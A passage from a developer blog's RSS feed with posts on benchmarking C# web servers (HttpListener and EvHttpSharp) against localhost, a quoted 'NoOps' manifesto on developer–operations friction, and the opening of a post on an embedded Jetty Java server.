&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;HttpListenerContext&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;request&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_listener&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetContext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;ThreadPool&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;QueueUserWorkItem&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ProcessRequest&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;request&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ProcessRequest&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;listenerContext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HttpListenerContext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;listenerContext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Response&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;StatusCode&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;HttpStatusCode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OK&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Response&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AddHeader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Content-Type&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;text/html; charset=utf-8&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Encoding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;UTF8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetBytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;&amp;lt;h1&amp;gt;Hello World&amp;lt;/h1&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Response&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ContentLength64&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Response&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OutputStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;msg&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;context&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Response&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;OutputStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;kd&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;WebServer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;http://localhost:8000/&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)).&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Start&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Save this file as &amp;ldquo;hello.cs&amp;rdquo; in your project folder.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In a <a href="/2016-choose-java-go-or-javascript-for-your-api">previous post</a> I
announced a attempts at high performance web server implementations in some
popular languages (Java, Go, C# and JavaScript). Today I will show you a C#
implementation and give you instructions on how to get it running on your own
machine.</p>
<h3 id="source-code-for-httplistener-example">Source code for HttpListener example</h3>
<p>Below you find a nice and short web server written in C# that I found
<a href="http://www.navioo.com/csharp/examples/HttpListener_Demo_2584.html">online</a>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Net</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Threading</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">  
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">WebServer</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">    <span class="n">HttpListener</span> <span class="n">_listener</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kd">public</span> <span class="n">WebServer</span><span class="p">(</span><span class="kt">string</span> <span class="n">address</span><span class="p">)</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">        <span class="n">_listener</span> <span class="p">=</span> <span class="k">new</span> <span class="n">HttpListener</span><span class="p">();</span> 
</span></span><span class="line"><span class="cl">        <span class="n">_listener</span><span class="p">.</span><span class="n">Prefixes</span><span class="p">.</span><span class="n">Add</span><span class="p">(</span><span class="n">address</span><span class="p">);</span> 
</span></span><span class="line"><span class="cl">    <span class="p">}</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kd">public</span> <span class="k">void</span> <span class="n">Start</span><span class="p">()</span> <span class="p">{</span>                        
</span></span><span class="line"><span class="cl">        <span class="n">_listener</span><span class="p">.</span><span class="n">Start</span><span class="p">();</span> 
</span></span><span class="line"><span class="cl">        <span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">HttpListenerContext</span> <span class="n">request</span> <span class="p">=</span> <span class="n">_listener</span><span class="p">.</span><span class="n">GetContext</span><span class="p">();</span> 
</span></span><span class="line"><span class="cl">            <span class="n">ThreadPool</span><span class="p">.</span><span class="n">QueueUserWorkItem</span><span class="p">(</span><span class="n">ProcessRequest</span><span class="p">,</span> <span class="n">request</span><span class="p">);</span> 
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> 
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">void</span> <span class="n">ProcessRequest</span><span class="p">(</span><span class="kt">object</span> <span class="n">listenerContext</span><span class="p">)</span> <span class="p">{</span> 
</span></span><span class="line"><span class="cl">        <span class="kt">var</span> <span class="n">context</span> <span class="p">=</span> <span class="p">(</span><span class="n">HttpListenerContext</span><span class="p">)</span><span class="n">listenerContext</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">        <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="n">StatusCode</span> <span class="p">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">HttpStatusCode</span><span class="p">.</span><span class="n">OK</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">        <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="n">AddHeader</span><span class="p">(</span><span class="s">&#34;Content-Type&#34;</span><span class="p">,</span><span class="s">&#34;text/html; charset=utf-8&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="kt">var</span> <span class="n">msg</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="s">&#34;&lt;h1&gt;Hello World&lt;/h1&gt;&#34;</span><span class="p">);</span> 
</span></span><span class="line"><span class="cl">        <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="n">ContentLength64</span> <span class="p">=</span> <span class="n">msg</span><span class="p">.</span><span class="n">Length</span><span class="p">;</span> 
</span></span><span class="line"><span class="cl">        <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="n">OutputStream</span><span class="p">.</span><span class="n">Write</span><span class="p">(</span><span class="n">msg</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="n">msg</span><span class="p">.</span><span class="n">Length</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">context</span><span class="p">.</span><span class="n">Response</span><span class="p">.</span><span class="n">OutputStream</span><span class="p">.</span><span class="n">Close</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> 
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="kd">static</span> <span class="k">void</span> <span class="n">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="p">(</span><span class="k">new</span> <span class="n">WebServer</span><span class="p">(</span><span class="s">&#34;http://localhost:8000/&#34;</span><span class="p">)).</span><span class="n">Start</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Save this file as &ldquo;hello.cs&rdquo; in your project folder.</p>
<h3 id="running-the-httplistener-example">Running the HttpListener example</h3>
<p>Install and run on a Debian based Linux using:</p>
<pre><code>sudo apt-get install mono
mono-csc hello.cs
./hello.exe
</code></pre>
<p>The first line installs mono. The second command compiles and the last command
should start the server.</p>
<h3 id="benchmarking-httplistener">Benchmarking HttpListener</h3>
<p>Like last time I am benchmarking the performance using Apache Bench:</p>
<pre><code>ab -n 200000 -c 100 http://localhost:8000/
</code></pre>
<p>I could not get this example to use more than 20% CPU. I tried compiling and
running on Windows, but there it also did not use the full CPU.</p>
<h3 id="source-code-for-evhttpsharp-example">Source code for EvHttpSharp example</h3>
<p>I tried many things without success, until I found the
<a href="https://github.com/kekekeks/evhttp-sharp">EvHttpSharp project</a> on Github and
created the following:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.IO</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Net</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Text</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Threading</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System.Collections.Generic</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">EvHttpSharp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">WebServer</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">EventHttpMultiworkerListener</span> <span class="n">_listener</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">string</span> <span class="n">_host</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int</span> <span class="n">_port</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">public</span> <span class="n">WebServer</span><span class="p">(</span><span class="kt">string</span> <span class="n">host</span><span class="p">,</span><span class="kt">int</span> <span class="n">port</span><span class="p">,</span> <span class="kt">int</span> <span class="n">workers</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">_listener</span> <span class="p">=</span> <span class="k">new</span> <span class="n">EventHttpMultiworkerListener</span><span class="p">(</span><span class="n">RequestHandler</span><span class="p">,</span> <span class="n">workers</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">_host</span> <span class="p">=</span> <span class="n">host</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">_port</span> <span class="p">=</span> <span class="n">port</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">public</span> <span class="k">void</span> <span class="n">Start</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">_listener</span><span class="p">.</span><span class="n">Start</span><span class="p">(</span><span class="n">_host</span><span class="p">,</span> <span class="p">(</span><span class="kt">ushort</span><span class="p">)</span> <span class="n">_port</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">private</span> <span class="k">void</span> <span class="n">RequestHandler</span><span class="p">(</span><span class="n">EventHttpRequest</span> <span class="n">req</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">ThreadPool</span><span class="p">.</span><span class="n">QueueUserWorkItem</span><span class="p">(</span><span class="n">_</span> <span class="p">=&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="kt">var</span> <span class="n">headers</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span><span class="kt">string</span><span class="p">&gt;(){{</span> <span class="s">&#34;Content-Type&#34;</span><span class="p">,</span><span class="s">&#34;text/html; charset=utf-8&#34;</span> <span class="p">}};</span>
</span></span><span class="line"><span class="cl">      <span class="kt">var</span> <span class="n">msg</span> <span class="p">=</span> <span class="n">Encoding</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">GetBytes</span><span class="p">(</span><span class="s">&#34;&lt;h1&gt;Hello World&lt;/h1&gt;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="n">req</span><span class="p">.</span><span class="n">Respond</span><span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="n">Net</span><span class="p">.</span><span class="n">HttpStatusCode</span><span class="p">.</span><span class="n">OK</span><span class="p">,</span> <span class="n">headers</span><span class="p">,</span> <span class="n">msg</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">});</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kd">static</span> <span class="k">void</span> <span class="n">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">LibLocator</span><span class="p">.</span><span class="n">Init</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="kt">var</span> <span class="n">w</span> <span class="p">=</span> <span class="k">new</span> <span class="n">WebServer</span><span class="p">(</span><span class="s">&#34;127.0.0.1&#34;</span><span class="p">,</span><span class="m">8000</span><span class="p">,</span><span class="n">Environment</span><span class="p">.</span><span class="n">ProcessorCount</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">w</span><span class="p">.</span><span class="n">Start</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Save this file as &ldquo;evhello.cs&rdquo; in your project folder.</p>
<h3 id="running-the-evhttpsharp-example">Running the EvHttpSharp example</h3>
<p>Install and run on a Debian based Linux using:</p>
<pre><code>sudo apt-get install mono
sudo apt-get install libevent-core-2.0-5 libevent-extra-2.0-5 libevent-pthreads-2.0-5
git clone git@github.com:kekekeks/evhttp-sharp.git
xbuild /p:Configuration=Release evhttp-sharp/EvHttpSharp/EvHttpSharp.csproj
cp evhttp-sharp/EvHttpSharp/bin/Release/EvHttpSharp.dll .
mono-csc -i:EvHttpSharp.dll evhello.cs
./evhello.exe
</code></pre>
<p>So the first line installs mono. The second line installs the EvHttpSharp
dependencies. Then we clone the
<a href="https://github.com/kekekeks/evhttp-sharp">EvHttpSharp project</a> from Github.
Build the project in &ldquo;Release&rdquo; mode. Next we copy the compiled DLL to the
project directory. The second-last line compiles the source and includes the
EvHttpSharp DLL in the build and the last line simply executes the webserver.</p>
<h3 id="benchmarking-evhttpsharp">Benchmarking EvHttpSharp</h3>
<p>Again I am benchmarking the performance using Apache Bench:</p>
<pre><code>ab -n 200000 -c 100 http://localhost:8000/
</code></pre>
<p>Now we do get 100% CPU load and comparable performance to the Java Jetty
example. I tried running this on Windows as well, but without success.</p>
<p>Lots of people have asked me how fast this example is. I suggest you test that
for yourself, but to give you a rough idea: on my box this performs &gt;20k
requests per second with 100% CPU load. Just as good as a single line of PHP
stating &ldquo;<code>echo 'Hello World';</code>&rdquo; served by &ldquo;<code>php -S localhost:8000</code>&rdquo;.</p>
<h3 id="conclusion">Conclusion</h3>
<p>There may be something obvious I overlooked that makes the HttpListener example
handle more requests per second. If I did, please let me know. Also it must be
noted that HttpListener will probably perform good enough for most use cases. On
the other hand it seems that it does not allow for an extreme high amount of
requests per second. This is clearly caused by not fully using the CPU, which
may in itself not be a bad choice for an application web server. But if you do
have many lightweight (or cachable) requests (for instance a micro-service) and
hit a mysterious request per second boundary, then you may want to consider an
<a href="https://github.com/kekekeks/evhttp-sharp">EvHttpSharp</a> based solution.</p>
]]></content:encoded>
    </item>
    <item>
      <title>NoOps: Developer operations manifesto</title>
      <link>https://www.tqdev.com/2016-noops-developer-operations-manifesto/</link>
      <pubDate>Thu, 31 Mar 2016 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-noops-developer-operations-manifesto/</guid>
      <description>&lt;p&gt;Consider the following well-crafted text about the malfunctioning of the
collaboration between development and operations, posted anonymously to a
developer forum I visit regularly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;h4 id=&#34;noops-developer-operations-manifesto&#34;&gt;NoOps: Developer operations manifesto&lt;/h4&gt;
&lt;p&gt;This is not pretty, but it must be said. We are tired. The madness must stop.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We create software, the product that identifies our company.&lt;/li&gt;
&lt;li&gt;We are academic software engineers, trained to &lt;strong&gt;understand&lt;/strong&gt; our work.&lt;/li&gt;
&lt;li&gt;We show responsible behaviour, creating as much value as possible.&lt;/li&gt;
&lt;li&gt;We do not like meetings, documentation or other waste in this process.&lt;/li&gt;
&lt;li&gt;We prevent problems by writing tests and by using versioned environments.&lt;/li&gt;
&lt;li&gt;We fix problems immediately, reducing the impact of issues dramatically.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are not flawless, but that is neither your problem, nor your duty to solve.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Consider the following well-crafted text about the malfunctioning of the
collaboration between development and operations, posted anonymously to a
developer forum I visit regularly:</p>
<blockquote>
<h4 id="noops-developer-operations-manifesto">NoOps: Developer operations manifesto</h4>
<p>This is not pretty, but it must be said. We are tired. The madness must stop.</p>
<ul>
<li>We create software, the product that identifies our company.</li>
<li>We are academic software engineers, trained to <strong>understand</strong> our work.</li>
<li>We show responsible behaviour, creating as much value as possible.</li>
<li>We do not like meetings, documentation or other waste in this process.</li>
<li>We prevent problems by writing tests and by using versioned environments.</li>
<li>We fix problems immediately, reducing the impact of issues dramatically.</li>
</ul>
<p>We are not flawless, but that is neither your problem, nor your duty to solve.</p>
<ul>
<li>You operate the hardware underneath our software, the cloud, an ubiquity.</li>
<li>You have commercial certificates, that proof you can <strong>do</strong> your work.</li>
<li>You use hand-overs, procedures &amp; documentation requirements to slow us down.</li>
<li>You hide behind bureaucracy and use ISO standardization as an excuse.</li>
<li>You prevent problems by adding infrastructure for staging environments.</li>
<li>You make the infrastructure overly complex, using SPOF as an argument.</li>
</ul>
<p>The cloud is here now. You have no place in the software process any more.</p>
<p>A commercial IaaS provider will allow us to take the responsibility we
deserve.</p>
<p>&ndash; Anonymous</p></blockquote>
<p>It clearly shows the anger and the tension that can exist in a DevOps
environment. I know from experience this tension is not one-sided. A call for
better DevOps? What measures can be taken to prevent or take away these
frustrations? Or is abandoning in-house managed infrastructure really a viable
solution?</p>
]]></content:encoded>
    </item>
    <item>
      <title>High performance Java web service using Jetty</title>
      <link>https://www.tqdev.com/2016-high-performance-java-web-jetty/</link>
      <pubDate>Mon, 28 Mar 2016 03:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2016-high-performance-java-web-jetty/</guid>
      <description>&lt;p&gt;In my &lt;a href=&#34;https://www.tqdev.com/2016-choose-java-go-or-javascript-for-your-api&#34;&gt;previous post&lt;/a&gt; I
announced a attempts at high performance web server implementations in some
popular languages (Java, Go, C# and JavaScript). Today I will show you a Java
implementation and give you instructions on how to get it running on your own
machine.&lt;/p&gt;
&lt;h3 id=&#34;jetty-for-high-performance&#34;&gt;Jetty for high performance&lt;/h3&gt;
&lt;p&gt;Jetty is a Web server and &amp;ldquo;javax.servlet&amp;rdquo; container that can be easily embedded
in devices, tools, frameworks, application servers, and clusters. Jetty is known
to be the web application of choice of Yahoo&amp;rsquo;s Hadoop Cluster, Google&amp;rsquo;s
AppEngine PaaS and Yahoo&amp;rsquo;s Zimbra SaaS. Because it was used for such important
projects, I expected that it would be hard to implement, but the opposite turned
out to be true.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In my <a href="/2016-choose-java-go-or-javascript-for-your-api">previous post</a> I
announced a attempts at high performance web server implementations in some
popular languages (Java, Go, C# and JavaScript). Today I will show you a Java
implementation and give you instructions on how to get it running on your own
machine.</p>
<h3 id="jetty-for-high-performance">Jetty for high performance</h3>
<p>Jetty is a Web server and &ldquo;javax.servlet&rdquo; container that can be easily embedded
in devices, tools, frameworks, application servers, and clusters. Jetty is known
to be the web application of choice of Yahoo&rsquo;s Hadoop Cluster, Google&rsquo;s
AppEngine PaaS and Yahoo&rsquo;s Zimbra SaaS. Because it was used for such important
projects, I expected that it would be hard to implement, but the opposite turned
out to be true.</p>
<h3 id="source-code">Source code</h3>
<p>This is the code I found
<a href="http://www.eclipse.org/jetty/documentation/current/advanced-embedding.html">online</a>
for a Jetty powered Java-based server:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="nn">java.io.IOException</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">javax.servlet.ServletException</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kn">import</span><span class="w"> </span><span class="nn">javax.servlet.http.HttpServletRequest</span><span class="p">;</span><span class="w">
